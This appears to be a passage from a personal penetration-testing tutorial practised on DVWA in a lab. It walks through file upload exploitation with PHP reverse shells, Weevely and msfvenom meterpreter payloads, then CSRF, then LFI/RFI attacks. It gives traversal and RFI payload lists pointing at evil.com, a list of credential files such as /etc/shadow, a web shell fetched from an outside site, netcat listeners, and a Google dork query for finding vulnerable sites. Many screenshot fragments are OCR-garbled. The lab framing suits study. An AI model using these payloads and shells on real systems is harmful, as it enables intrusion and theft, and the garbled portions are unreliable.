http://192.168.223.128/dvwa-linux/hackable/uploads/php-reverse-shell.php

5. Open the netcat listener to listen ap port 4444 in the attacker computer
192.168.223.128



#nc-lvnp 4444 -

The command shell will open. You can write your commands such as: pwd,

uname -a, id, whoami.

vouM) [192.168.32

G 0=Kalih- CEEMPT _DYMAMIC L2R2d=12-

14 min, wie 3% x &), B.49,
F R ; IDLE A PLFU WHAT
0 0345 141056 17.153 0.42s xfced-3zess
pid=21{ war-data) groups=33{ me-data)
foinfsh: 0 can"t access Lty; job trol turned off

Sicd=3 -3} ErOUPE=300( wei-dat3)

X hidala 6.0.0-kalid-amatsh &1 SMP PREEMPT_DYMAMIC Deblan 6.0.12-1kalil (2022-12-

0) 286 64 GNU/LInuX



d) File upload using BurpSuite upload scanner:

1. 1 am using in this tutorial the DVWA app installed in Windows at
localhost http://localhost/dvwa/ and the DVWA security set to low.

2. When scanning DVWA through BurpSuite. It does not detect the file
upload vulnerability as high severity. It just detects it as information severity.
Here example how the BurpSuite detected the file upload issue for
http://localhost/dvwa:

P Lross-aomain scrpt include
@ File upload functionality |
@ Browser cross-site scripting filter disabled
@) Backup file
> @D Private IP addresses disclosed [4]
@ Content type is not specified
[~ i File path manipulation [4]

Advisory Request Response

o File upload functionality

Issue: File upload functionality
Severity: Information

Confidence: Certain

Host: http://localhost

Path: /dvwa/vulnerabilities/upload/
Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:
« http://localhost/dvwa/vulnerabilities/upload/

Note that Burp has not identified any specific security vulnerabilities with this functionality,
and you should manually review it to determine whether any problems exist.



2. Go to BurpSuite extensions tab, then to BApp store and find upload

scanner from the list. | installed it.
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3. When installed, new tab will appear in BurpSuite “Upload Scanner”.

4. From the target tab, choose one of the requests under file upload page:
http://localhost/dvwa/vulnerabilities/upload/

Upload an image as example | uploaded image anticorruption.jpg

This is the uploaded file link:
http://localhost/dvwa/hackable/uploads/anticorruption.jpg


http://localhost/dvwa/vulnerabilities/upload/

¥ Mo AR A e I D U0 3 1

Vulnerability: File Upload

[ The PHP moduts GO . sot installed I

Choons an image 1 uplosd
[Choose B | No e chaen

| Ugload |

oo fmackable/wpleadifant lesrmt lon. dog tetonfully woloaded!

More Information

5. Go to BurpSuite and you can get the request for the file upload from
“Proxy/HTTP History”.
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6. Send the request of the file upload to the “Upload Scanner” extension.

You will get this page under “Upload Scanner” extension. The upload scanner



extension will upload a lot of modules and shells. | selected in this example

to only upload php shells.
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7. | selected “Start Scan without Redownloader”. It will upload many

modules.

8. The as the tested files are uploaded, the results will be shown in the

“Done uploads” tab .
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9. Then you can test manually the uploaded files checked from requests and

responses.
http://localhost/dvwa/hackable/uploads/(file name)

You can get the file name from the request page.


http://localhost/dvwa/hackable/uploads/(file

e) Generating shells using Weevly:

1. In this tutorial | am going to use the DVWA installed in Linux at IP address
192.168.223.128. The DVWA link: http://192.168.223.128/dvwa-linux and
the DVWA security set to low.

2. In this tutorial | am going to use Weevely tool. A web shell designed for
post-exploitation purposes that can be extended over the network at
runtime. Upload weevely PHP agent to a target web server to get remote

shell access to it.

3. Use weevely to generate new agent. | setup the file name and location

and password. Run the command
# weevely generate password /home/hidaia/weevely-hidaia.php
The command generates a file at /home/hidaia/weevely-hidaia.php

4. Go the file upload page of DVWA http://192.168.223.128/dvwa-
linux/vulnerabilities/upload. Upload the generated file weevely-hidaia.php. |
got message that the file is uploaded in ../../hackable/uploads/weevely-
hidaia.php. The file link will be:

http://192.168.223.128/dvwa-linux/hackable/uploads/weevely-hidaia.php

5. Take the shell URL http://192.168.223.128/dvwa-
linux/hackable/uploads/weevely-hidaia.php. Then execute in weevely

command and put the arguments as the shell URL and the file password.

# weevely http://192.168.223.128/dvwa-

linux/hackable/uploads/weevely-hidaia.php password


http://192.168.223.128/dvwa-linux/hackable/uploads/weevely-hidaia.php

A weevely shell access will open. We can run any command on the server

from the shell.

Note: In my case it did not work. | could not identify the reason.



f)_ Generating_shells using_Metasploit and
exploiting DVWA in Kali-Linux machine:

1. In this tutorial | am going to use the DVWA installed in Linux at IP address
192.168.223.128. The DVWA link: http://192.168.223.128/dvwa-linux and
the DVWA security set to low.

2. In this tutorial I am going to use Metaspolit tool. | will create a shell using

msf venom. To list the payloads in msf venom write the command:
# msfvenom -l payloads

The command will list the payloads that can be used in Windows or Linux

system,

3.l am going to generate php/meterpreter/reverse_tcp shell. | am going to
set the payload to use the listening IP as attacker Linux IP address and

listening port 4444 with the name exploit.php in raw format:

# msfvenom -p php/meterpreter_reverse_tcp |host=192.168.223.128
lport=4444 -f raw > exploit.php

The php shell will be generated exploit.php.

LHOST refers to the IP of attacker machine, which is usually used to create a
reverse connection after the attack succeeds. RHOST refers to the IP address

of the victim host.

4. Go the file upload page of DVWA http://192.168.223.128/dvwa-
linux/vulnerabilities/upload. Upload the generated file exploit.php. | got

message that the file is uploaded in ../../hackable/uploads/exploit.php. The
file link will be:



http://192.168.223.128/dvwa-linux/hackable/uploads/exploit.php
Go to the that link to execute the shell.
5. Go to msf console and start listener
#msfconsole
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.223.128
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

Go to the link http://192.168.223.128/dvwa-
linux/hackable/uploads/exploit.php to run the php shell and start the

meterpreter session.

Note: In my case that did not work. | could not identify the reason.


http://192.168.223.128/dvwa-linux/hackable/uploads/exploit.php

g) Installing Metasploit in Windows:

1. Visit http://windows.metasploit.com/metasploitframework-latest.msi to

download the Windows installer.

2. After you download the installer, locate the file and double-click the

installer icon to start the installation process.

3. The Metasploit will be installed in local folder in a drive. It is installed in
my case in D: metasploit-framework folder. From command line, go to bin
folder inside the metasploit-framework folder. Run the command

msfconsole

4.1 am going to generate php/meterpreter/reverse_tcp shell from Kali-
Linux. | am going to set the payload to use the listening IP as the attacker
windows machine IP address and listening port 4444 with the name

exploit-win.php in raw format:

# msfvenom -p php/meterpreter_reverse tcp lhost=10.0.0.4

lport=4444 -f raw > exploit-win.php
The php shell exploit-win.php will be generated.

5. Go the file upload page of DVWA http://192.168.223.128/dvwa-
linux/vulnerabilities/upload. Upload the generated file exploit-win.php. | got
message that the file is uploaded in ../../hackable/uploads/exploit2.php. Go

to the that link to execute the shell.

http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php

6. Go to msf console in Window machine and start listener

>msfconsole


http://windows.metasploit.com/metasploitframework-latest.msi
http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php

msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.4

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

Go to the link http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-

win.php to run the php shell and start the meterpreter session.

Note: In my case that did not work. | could not identify the reason.


http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php

15. EXPLOITING CROSS SITE REQUEST
FORGERY (CSRF)_ VULNERABILITY:

a) Cross Site Request Forgery (CSRF)
definition:
1. CSRF 1s an attack that forces an end user to execute unwanted actions on

a web application in which they are currently authenticated. With a little
help of social engineering (such as sending a link via email/chat), an
attacker may force the users of a web application to execute actions of the
attacker's choosing. A successful CSRF exploit can compromise end user
data and operation in case of normal user. If the targeted end user is the
administrator account, this can compromise the entire web application. This
attack may also be called "XSRF", similar to "Cross Site scripting (XSS)",

and they are often used together.

2. Cross Site Request Forgery CSRF vulnerability allows malicious attackers
or hackers to craft malicious URLs so it can perform certain actions without
the user knowing of them. The attacker crafts malicious URL and sends it to
the victim and when the victim clicks it the password gets changes or

something like malicious is performed without knowing of them.



b) Example of Cross Site Request Forgery
(CSRF) attack:

1. I will use DVWA installed in Windows in this example with link address
http://localhost/dvwa or http://10.0.0.4/dvwa

2.The password change page in DVWA app
http://localhost/dvwa/vulnerabilities/csrf/. When the legitimate user logs on
and performs password change request and in this request the user has to
enter new password and enters it again to confirm. The request is GET

request as the parameters are passed in URL parameter

http://10.0.0.4/dvwa/vulnerabilities/csrf/?

password _new=test&password_conf=test&Change=Change#

3. We can get also the request from the BurpSuite by setting

“Proxy/Intercept” on.
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4. The attacker can craft the URL and can encode the entire URL with URL
encoding so that it becomes difficult for the users to identify what it is

actually doing. We can also do URL shortening.


http://localhost/dvwa/vulnerabilities/csrf/

http://10.0.0.4/dvwa/vulnerabilities/csrf/?

password_new=test&password conf=test&Change=Change#

5. When we send the URL to victim, the password will be changed for the

victim without knowing of them. The password will be changed with the

hacker password.


http://10.0.0.4/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change

16. EXPLOITING FILE INCLUSION
VULNERABILITY:

a) File Inclusion Vulnerability definition:

1. Some web applications allow the user to specify input that is used
directly into file streams or allows the user to upload files to the server. At a
later time the web application accesses the user supplied input in the web
applications context. By doing this, the web application is allowing the

potential for malicious file execution.

2. If the file chosen to be included is local on the target machine, it is called
"Local File Inclusion (LFl). But files may also be included on other machines,
which then the attack is a "Remote File Inclusion (RFI). When RFl is not an
option. using another vulnerability with LFI (such as file upload and
directory traversal) can often achieve the same effect. Note, the term "file

inclusion" is not the same as "arbitrary file access" or "file disclosure".

3. PHP File Inclusion is a security flaw in web applications that allows
unauthorized users to access files, provide download functionality, look for
information, and so on. As defined by OWASP, the File Inclusion
vulnerability allows an attacker to include a file, usually exploiting a
“dynamic file inclusion” mechanisms implemented in the target application.
The vulnerability occurs due to the use of user-supplied input without

proper validation.

4. There are two PHP functions that website or web application
programmers use to include the content of one PHP file into another PHP
file.


https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion

e The include() function

e The require() function
The difference between the “include” and the “require” functions is the way
each function responds when a file loading problem arises. The include()
function only gives a warning while allowing the script to continue, whereas

the require() function generates a fatal error and stops the script.

5. The main difference between an LFI and an RFl is the included file’s point
of origin. In an LFI attack, threat actors use a local file that is stored on the
target server to execute a malicious script. These types of attacks can be
carried out by using only a web browser. In an RFI attack, they use a file

from an external source.

6. LFl is a web vulnerability that results from mistakes at the website or web
application programmers’ end. A hacker can take advantage of this
vulnerability to include malicious files which are then executed by the
vulnerable website or web application. In an LFI vulnerability, the included
file is already present on the local application server, targeted by the hacker.
If successful, the attacker can read important files, access more sensitive

information, or run arbitrary commands.

7. In Local File Inclusion, perpetrators exploit vulnerable PHP programs to
access confidential data or run malicious scripts on the target server. This
can expose critical data or allow threat actors to launch remote code
execution or Cross-site Scripting (XSS) attacks. LFI occurs when an
application includes a file as user input without properly validating it. This
allows an attacker to include malicious files by manipulating the input.

Here’s an example of a vulnerable PHP code that could lead to LFI:

https://example.com/?page=filename.php



Without proper input sanitizing, an attacker could easily modify the input
(as shown below) to manipulate the application into accessing unauthorized
files and directories from the host server using the “/” directive. This is

known as Directory (Path) Traversal:
https://example.com/?page=../../../../etc/test.txt

In this example, a hacker was able to successfully exploit the vulnerability by
simply replacing the “filename.php” with “../../../../etc/test.txt” in the path
URL to access the test file. If this can be accomplished, a hacker can then
backdoor upload a malicious script to the host server and use LFI to access
the script. A simplified version of the process would look something like
this:

Local File Inclusion (LFI)

1. Hacker identifies web 2. Hacker modifies URL
application with insufficient string using “./“ directive
filtering or validation of to ensure Directory (Path)
browser input from users. Traversal is possible.
https://example.con/?page=fil: e.php J
£fil me.php ==> ../../../../etc/tast.txt
https://example.com/?page=. oo/ Sotc/tost. txt J

. : hacker.php
HACKER < . SERVER

php ==> ../../../../etc/hacker.php

https://example.com/?page=. \/
3. Hacker backdoor uploads 4. Request is improperly
malicious .php file to host server validated and hacker is
and attempts to locate script permitted to run malicious
using same method as Step 2. script on host application.
\. J

8. OWASP defines Remote File Inclusion as the process of including remote
files by exploiting vulnerable inclusion procedures implemented in the

application. This vulnerability occurs, for example, when a page receives, as



input, the path to the file that has to be included and this input is not
properly sanitized, allowing the external URL to be injected. Since PHP
supports native functions that allow users to include remote files, web

applications written in PHP code are more susceptible to RFI attacks.

While RFI and LFI vulnerabilities are similar, in an RFI attack, the perpetrator
can execute malicious code from an external source instead of accessing a

file on the local web server, as is the case with an LFI attack.

9. In Remote File Inclusion attacks, hackers take advantage of the “dynamic
file include” command in web applications to upload malicious external files
or scripts. When web applications allow user input, such as URL, parameter
value, etc., and pass them to the “file include” mechanisms without proper
sanitization, perpetrators can manipulate the web application to include
remote files with malicious scripts. Here is a simplified version of what

Remote File Inclusion looks like:



.,

1. Hacker identifies web 2. Hacker modifies URL
application with insufficient string using “./“ directive
filtering or validation of to ensure Directory (Path)
browser input from users. Traversalis possible.
https://exa:plo.casf?page-:;:u:n-s.;-,-v/
filename.php ==> ../../««/../0tc/tost.txt
httpa://example.coa/Ipage=../../../.. /etc/test. . ext ‘/

HACKER

vV
b 4
v
b 4
W
b 4
A 4
v
h 4
\ 4
A4
h 4

hetps://example.con/lpage=heeps:/

Remote File Inclusion (RFI)

[l

SERVER

3. Hacker uploads malicious .php
file to hacker-controlled server
and attempts to locate script
using same method as step 2.

4. Malicious .php file is located
and host server executes
remote server-side code from
hacker-controlled server.
3333 wa.a PPP)

HACKER
hacker.php SERVER

enasme.php ==> https://hacksite.com/hacker.php

5. Request is improperly validated and hacker is
permitted to run malicious script on host application.

.y

10. Basic LFI (null byte, double encoding and other tricks) :
http://example.com/index.php?page=etc/passwd

http://example.com/index.php?page=etc/passwd%00

http://example.com/index.php?page=./../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

Interesting files to check out :

/etc/issue
/etc/passwd
/etc/shadow
/etc/group



/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-91*/fd/[0-9]* (first number is the PID, second is the
filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

11. Basic RFI (null byte, double encoding and other tricks) :
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?
page=http:%252f%252fevil.com%252fshell.txt



b) Manual exploitation of Local File Inclusion:

1. File Inclusion Vulnerability allows the attacker to include malicious files or
to include the local files of the web server to read their sensitive information.

And this is might be as worse as remote code execution.

2. 1 am going to use the DVWA installed in Kali Linux in this tutorial with the
link address http://192.168.223.128/dvwa-linux. The file inclusion page in
BurpSuite http://192.168.223.128/dvwa/vulnerabilities/fi/?

page=include.php takes file name from the user and this file is file will be

included in the PHP script. This function called include function is used for
including a file. This function is used because it is easy to include multiple

files so that we don’t need to write the code multiple times.

3. To exploit LFI, if no sanitization or proper validation on the file name we
pass in the position of include.php on the link
http://192.168.223.128/dvwa/vulnerabilities/fi/?page=include.php, we may

be able to read the local files in the server or on the worst case we can make

the server hosts php script .

4. Two possibilities: local file inclusions where the file to be included in the
local machine and remote file inclusion where the file to be included in the

remote machine.

5. The following link as example will show the file main page of the Apache

server

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=http://192.168.223.128

6. The following link will show /etc/passwd file


http://192.168.223.128/dvwa-linux
http://192.168.223.128/dvwa/vulnerabilities/fi/?page=include.php
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=http://192.168.223.128

192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=/../../../../../etc/passwd
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7. Here an example of a php shell and | saved it in the /var/www/html/

# cp /usr/share/webshells/php/php-reverse-shell.php
/home/Hidaiavar/www/html/php-reverse-shell.php

8. Edit the php-reverse-shell.php to point to the attacker IP address which is
my Kali Linux machine: 192.168.223.128. And make change of the port. |
used port 4444

47 set_time_limit

48 "1.0"

49 '192.168.223.128" // CHANGE THIS
50 // CHANGE THIS

51 P

52 null

93 null

54 ‘uname -a; w; 1id; /bin/sh -1i'
55

56

9. Now access the php shell using the link



http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=http://192.168.223.128/php-reverse-shell.php

10. Open the netcat listener to listen ap port 4444 in the attacker computer
192.168.223.128

#nc-lvnp 4444 -

The command shell will open. You can write your commands such as: pwd,

uname -a, id, whoami.

=1kalil (2022=12=-19) x86_ 64 GHU

(feek-session

e -85 ) @id=33 {
Q: can'tl acces ¥i Job centrol turned off

uld=33( e =-data) gid=33(mw=-data) groupi=331(wew=-data)
. =) |

£ uURAEE -3
Linux hidajia &6.0.0-KaliG-amdGs 21 SMP PREEMPT_DYNAMIC Debian 6.0.12-1kalil (2022-12-19) xB6_64 GMU

s



http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=http://192.168.223.128

¢) LFI and RFI exploitation through BurpSuite :

1. 1 am using in this tutorial the DVWA app installed in Windows at
localhost http://localhost/dvwa/ and the DVWA security set to low.

2. When scanning DVWA through BurpSuite. It does not detect the file
inclusion vulnerability. It detects only file path manipulation in the path

/dvwa/vulnerabilities/fi/ with information severity.

3. We can exploit LFI and RFI using BurpSuite. Download LFI payloads and

from the net. We can get it from:

https://raw.githubusercontent.com/emadshanab/LFI-Payload-
List/master/LFI%20payloads.txt

We go to the page http://192.168.223.128/dvwa-linux/fi and make BurpSuite
Proxy intercept is on and try to execute filel.php to get the request
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4. Send the request to the intruder. On the “Intruder/Positions” section, add
only a tag on the filel.php position. Choose the attack type to be “Sniper”
attack.


https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt
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5. In the “Intruder/Payloads” and upload the LFI payload list. Start the attack.
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6. Check the scan results. As example, this is the results of using /etc/passwd

as payload. You can know the effective payloads from the length section of
scan results.
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d)_LFI and RFI Exploitation using Fimap tool:

1. fimap is a little python tool which can find, prepare, audit, exploit and even
google automatically for local and remote file inclusion bugs in webapps. fimap

should be something like sglmap just for LFI/RFI bugs instead of SQL injection.

2. Download and install Fimap from htps://github.com/kurobeats/fimap
# git clone https://github.com/kurobeats/fimap.git

# cd fimap/src

3. fimap is Pyjton2 program, so make sure to select Paython2 version as the

default version when using the fimap tool:

#sudo update-alternatives --config python
4. Download and install the httplib2 from https://github.com/httplib2/httplib2

# git clone https://github.com/httplib2/httplib2.git
5. Go to httplib2 directory and install httplib2 using the command
# setyp.py install

Then run python2 command and import httplib2 and check if it is imported
successfully, and install any dependencies required as shown in the error

message.
# python2
>> import httplib2
6. Go to the folder fimap/src and run the “python fimap.py -h” command

# python2 fimap.py -h


http://sqlmap.sourceforge.net/

Here the options of fimap as shown in the help menu.

=/Fimap/src
fimap.py
fimap v.1.808_svn (My life for Aiur)
1+ Automatic LFI/RFI scanner and exploiter
;i by Iman Karim [{:rap_ﬂovﬂEFAJl.cnm}

Usage: ./fimap.py [options]
2 Operating Modes:
-5 , —single Mode to scan a single URL for FI errors.
Needs URL (-u). This mode is the default.
~=mA55 Mode for mass scanning. Will check every URL
from a given list (-1) fer FI errors.
-—-google Mode to use Google to aquire URLs.
Needs a query (-q) as google search guery.
== bing Use bing to get URLs.
Needs a query (-q) as bing search query.
Also needs a Bing APIKey (—bingkey)
—harvest Mode to harvest a URL recursivly for new URLS.
Needs a root url (-u) to start crawling there.
Also needs (=-w) to write a URL list for mass mode.
== AULOIWESOme with the AutoAwesome mode fimap will fetch all
forms and headers found on the site you defined
and tries to find file inclusion bugs thru them. Needs an
URL (=u).

Technlques:

-b , =—enable-blind Enables blind FI-Bug testing whenm no error messages are printed
Note that this mode will cause lots of requests compared to the
default method. Can be used with -5, -m or -g.

=0 , —dot=-truncation Enables dot truncation technique to get rid of the suffix if
the default mode (nullbyte polson) failed. This mode can cause
tons of requests ﬂcpuud:ng how you Luqugurv 1%.
By default this mode only tests windows sServers.
Can be used with =5, =-m or =g. Fxpurlfun{nl.

—multiply-term=X Multiply terminal symbols like "." and /" in the path by X.

Disguise Kit:
-A , —user=agent=UA The User-Agent which should be sent.
=—=http=proxy=PFROXY Setup your proxy with this option. But read this facts:
* The googlescanner will ignore the proxy to get the URLs,
but the pentestiattack itself will go thru proxy.
* PROXY should be in format like this: 127.9.0.1:8089
= It's experimental
— Show-my=-1p Shows your internet IP, current country and user-agent.
Useful 1f you want to test your vpn\proxy config.
Plugins:
—plugins List all loaded plugins and quit after that.
install-plugins Shows some official exploit-mode plugins you can install
andyor upgrade.

-=ypdate-def Checks and updates your definition files found in the
config directory.
- test-rfi A quick test to see if you have configured RFI nicely.
—merge-xml=XMLFILE Use this if you have another fimap XMLFILE you want to
include to your own fimap_result.xal.
-=gnable-color Enables a colorful output. Works only in linux!
— force-run Ignore the instance check and just run fimap even 1f a lockfile
exists. WARNING: This may erase your fimap_results.xml file!
-=yerboses=LEVEL Verbose level you want to receive.
LEVEL=3 — Debug
LEVEL=2 —» Infol(Default)
LEVEL=1 —¢ Messages
LEVEL=0 — High-Level
—credits Shows som¢ credits.
- greetings Some greetings ;)
—help Shows this cruft.
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7. We go to the page http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=filel.php and make BurpSuite Proxy intercept is on and try to execute

filel.php to get the request
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8. Run the command:

# python fimap.py -b --url="http://192.168.223.128/dvwa-
linux/vulnerabilities/fi/?page=filel.php" --
cookie='security=low;PHPSESSID=1upgibppgr5debkOnkj7Ir7f"

| got the following results
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[URL]

[HEAD SENT]

i VULN INFO

T PARAM] page
] Not received (Blindmode)

Unix
Blindly Identified

[TRUNCATION] Mot tested.

[READABLE FILES]
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e Then run the following commands to start new session where you can
find target and start some action

# python fimap.py -b --url="http://192.168.223.128/dvwa-
linux/vulnerabilities/fi/?page=filel.php" --
cookie="PHPSESSID=1upqibppgr5debk0Onkj7Ir7f;security=low" -x

You get the following:



=1 imspure

e | chose 192.168.223.128 domain. Then | chose first vulnerable script
“URL: '/dvwa-linux/vulnerabilities/fi/?page=filel.php"”

e | chose the first attack type: “Spawn fimap shell”. | got the command
line interface to enter the shell commands. In the following screenshots
examples, | run:

# whoami
# pwd

# uname -a



9. To upload a shell such as mini.php shell:

e Run the following commands to start new session where you can find
target and start some action

# python fimap.py -b --url="http://192.168.223.128/dvwa-

n

linux/vulnerabilities/fi/?page=filel.php

cookie='PHPSESSID=1upqibppgr5debk0nkj7Ir7f;security=low' -x

e | chose 192.168.223.128 domain. Then | chose first vulnerable script
“URL: '/dvwa-linux/vulnerabilities/fi/?page=filel.php"”

e | chose the first attack type: “Spawn fimap shell”. | got the command

line interface to enter the shell commands. In the following example, |
run the following command to upload c99 shell:

# pwd

# wget https://r57.gen.tr/down/mini.zip

# unzip mini.zip

Go to the webpage: http://192.168.223.128/dvwa-

linux/vulnerabilities/fi/mini.php



https://r57.gen.tr/down/mini.zip
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/mini.php

! 8B 192.168.223.128/dvwa-linuxfvulnerabilities fi/mini php

Sindbad~EG File Manager

.f-'trrum Path : /var/www/html/dvwa-linux/vulnerabilities/fi/

Upload File : [ Browse... | lo file selected. | (upload)
MName Size Permissions Options

help - drwarwxrwx E]
source - drwxrwxrwx B
99.php 158.819 KB ~“FWXP=XT=X )
filel.php 1.025 KB ~FWXIWXIWX |
file2.php 1.029 KB ~TWXTWXTWX .~
file3.php 1522 KB =FWXTWXTWX ¥
filed.php 0.363 KB ~FWXTWXWX
include.php 1.377 KB - TWRTWX WX =)
index.php 0.981 KB ~FWATWITWX =)
mini.php 6.904 KB B L E:} [3
mini.zip 5.196 KB W= 96

10. To make reverse shell:

e Run the following commands to start new session where you can find
target and start some action

# python fimap.py -b --url="http://192.168.223.128/dvwa-
linux/vulnerabilities/fi/?page=filel.php" --
cookie='PHPSESSID=1upqibppgr5debk0nkj7Ir7f;security=low' -x

e | chose 192.168.223.128 domain. Then | chose first vulnerable script
“URL: '/dvwa-linux/vulnerabilities/fi/?page=file1.php"”

e | chose the second attack type:“Spawn pentestmonkey's reverse shell”. |
selected the attacker “IP address to connect back to” to be my Linux
device IP: 192.168.223.128 and the Port number: 6666. Make your
netcat server ready and hit enter.



11. Open the command shell at the attacker computer 192.168.223.128, run

the netcat listener command:
# nc -lvn -p 6666

The netcat command shell will open

(2022=-12=19) x86_6& GHU/Linux

2: whami: not found

a) gid=33(waw-data) groups=33(ww-data)

al1a 6.0.0=-kKalif-amdbs 2] SMP PREEMPT_DYMAMIC Debianm 6.90.12-1kalil (2022-12-19) x86_64& GNU/LInux

12. You can get the LFI and RFI dorks collections in many websites. Write the

following command:

# python fimap.py -g -q ‘inurl:/index.php?include=’



e) LFI and RFI Exploitation using LFISuite tool:

1. LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion

vulnerabilities using many different methods of attack.
2. Download and install LFISuite from htps://github.com/kurobeats/fimap
# git clone https://github.com/D35m0nd142/LFISuite.git

3. LFISuite is Pyjton2 program, so make sure to select Paython2 version as the

default version when using the fimap tool:

#sudo update-alternatives --config python

4. We go to the page http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=filel.php and make BurpSuite Proxy intercept is on and try to execute

filel.php to get the request
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5. Go to the LFISuite folder and run the script by typing “python Ifisuite.py”

command
# python?2 Ifisuite.py

You get the following screen:



twitter.com/ disadndlsl

6. | chose 2 to run the Scanner. It requested the cookie. | entered the cookie |
obtained in the BurpSuite request:
'PHPSESSID=1upgqgibppgr5debkOnkj7Ir7f;security=low'. Then it requested the
target URL, and | entered the vulnerable URL:”http://192.168.223.128/dvwa-
linux/vulnerabilities/fi/?page=filel.php”.




It will show the vulnerable links highlighted. Try the links to find the proper links
that will give system information as not all the links will show the system

information.

7. Go to the LFISuite folder and run the script by typing “python Ifisuite.py”

command

# python?2 Ifisuite.py

e You get the following screen:




e | chose 1 to run the Exploiter. It requested the cookie. | entered the

cookie | obtained in the BurpSuite request:
'PHPSESSID=1upqibppgr5debk0Onkj7Ir7f;security=low'. Then it requested
the target URL, and | entered the vulnerable

URL:”http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?

page=filel.php”.
e | got the following output for the available injections:

e | chose 7 for “data://” injection. Then | entered the 'data://' vulnerable
url

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=filel.php

e | got the command line interface to enter the shell commands. In the
following screenshots examples, | run as example:

# whoami
# pwd

# uname -a


http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php

e Now let’s get a reverse shell by typing the command “reverseshell”. |
selected the attacker “IP address to connect back to” to be my Linux
device IP: 192.168.223.128 and the Port number: 6666. Then open the
command shell at the attacker computer 192.168.223.128, run the
netcat listener command:

# nc -lvn -p 6666
The netcat command shell will open
Note: In my case that did not work. | could not identify the reason.

8. In Auto-Hack modality, LFISuite will find LFI vulnerabilities and will exploit
them. Go to the LFISuite folder and run the script by typing “python [fisuite.py”

command

# python?2 Ifisuite.py

e | chose 1 to run the Exploiter. It requested the cookie. | entered the

cookie | obtained in the BurpSuite request:
'PHPSESSID=1upqibppgr5debk0Onkj7Ir7f;security=low'. Then it requested
the target URL, and | entered the vulnerable

URL:”http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?

page=filel.php”.
e | got the following output for the available injections:



http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php

e | chose 9 for “Auto Hack” injection. Then | entered the url we want to
hack: http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?

page=filel.php

Then enter the name of the file containing the paths to test [default:

'pathtotest.txt']. | chose the default file.

The tool will do automatic scan and also will open the shell command to

exploit the website.



http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php

f)_LFI and RFI Exploitation using LfiScan tool:

1. Download LfiScan from https://github.com/halitAKAYDIN/LfiScan

# git clone https://github.com/halitAKAYDIN/LfiScan.git

# cd LfiScan

# chmod +x Ifiscan.sh

2. Examples of the usage of the LfiScan tool:

#./Ifiscan.sh -h
#./Ifiscan.sh -u "http://example.com/index.php?page="
#./Ifiscan.sh -u "http://example.com/index.php?page="-c
"PHPSESSID=;" -w wordlist.txt
#./Ifiscan.sh -u "http://example.com/index.php?page="-c
"PHPSESSID=;" -w wordlist.txt -t 5
3. We go to the page http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=filel.php and make BurpSuite Proxy intercept is on and try to execute

filel.php to get the request
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4. Run the LfiScan command


https://github.com/halitAKAYDIN/LfiScan.git

#./Ifiscan.sh -u "http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page="-c "PHPSESSID=0e82ffj093089mgumshb89r0n85; security=low" -

w linux.txt -t 3

The scan results in the report path: /tmp/Ifiscan/192.168.223.128. The
payload list will be saved in the file /tmp/Ifiscan/192.168.223.128 payload

S EmmPEYE-| 2 3 4|

rooti@hidada: =15

File Actions Edit View Help

[=] [H5T]
[#] [RPT] Report Path:

The payload list will be saved in the file
/tmp/Ifiscan/192.168.223.128 payload



GNU nang 7.2 LFisc i_payload




g) LFI and RFI Exploitation using Lfi-Scanner
tool:

1. Download Lfi-Scanner from https://github.com/sUbcOol/LFI-scanner
# git clone https://github.com/sUbcOol/LFl-scanner.git

# cd LFI-scanner

2. Run the LFI-scanner command

#python Ifiscan.py --url= “http://192.168.223.128/dvwa-

linux/vulnerabilities/fi/?page="

3. | got no results.


http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=

~f/LFI-scanner
Lfiscan.py o

Simple Local File Inclusion Yulnerability Scanner
by Valentin Hoebel (valentin@xenuser.org)

Version 1.0

Power to teh lulz!

e
=
[

Provided URL to scan: http://192.168.223.128/dvwa-1inux/vulnerabilities/fi/?page=

Assuming the provided data was correct.

Trying to establish a connection with a random user agent ...
Connected to target! URL seems to be valid.

Jumping to the n feature.

IP address / domain: 192.168.223.128

Script: Jdvwa-linux/vulnerabilities

URL query string: pages

L1)
[i]
[i]
[i]
[i]
[1]
[i]

It seems that the URL contains at least one parameter.
Trying to fi also other paramet -

No other pa ters were found.

The fol g 1 parameter(s) was/were found:

{'page": '}

Probing parameter " page " ...

Sorry, I was not able to detect a LFI vulnerability here.
Exiting now!

el L L Tk
ma g s [l e b e
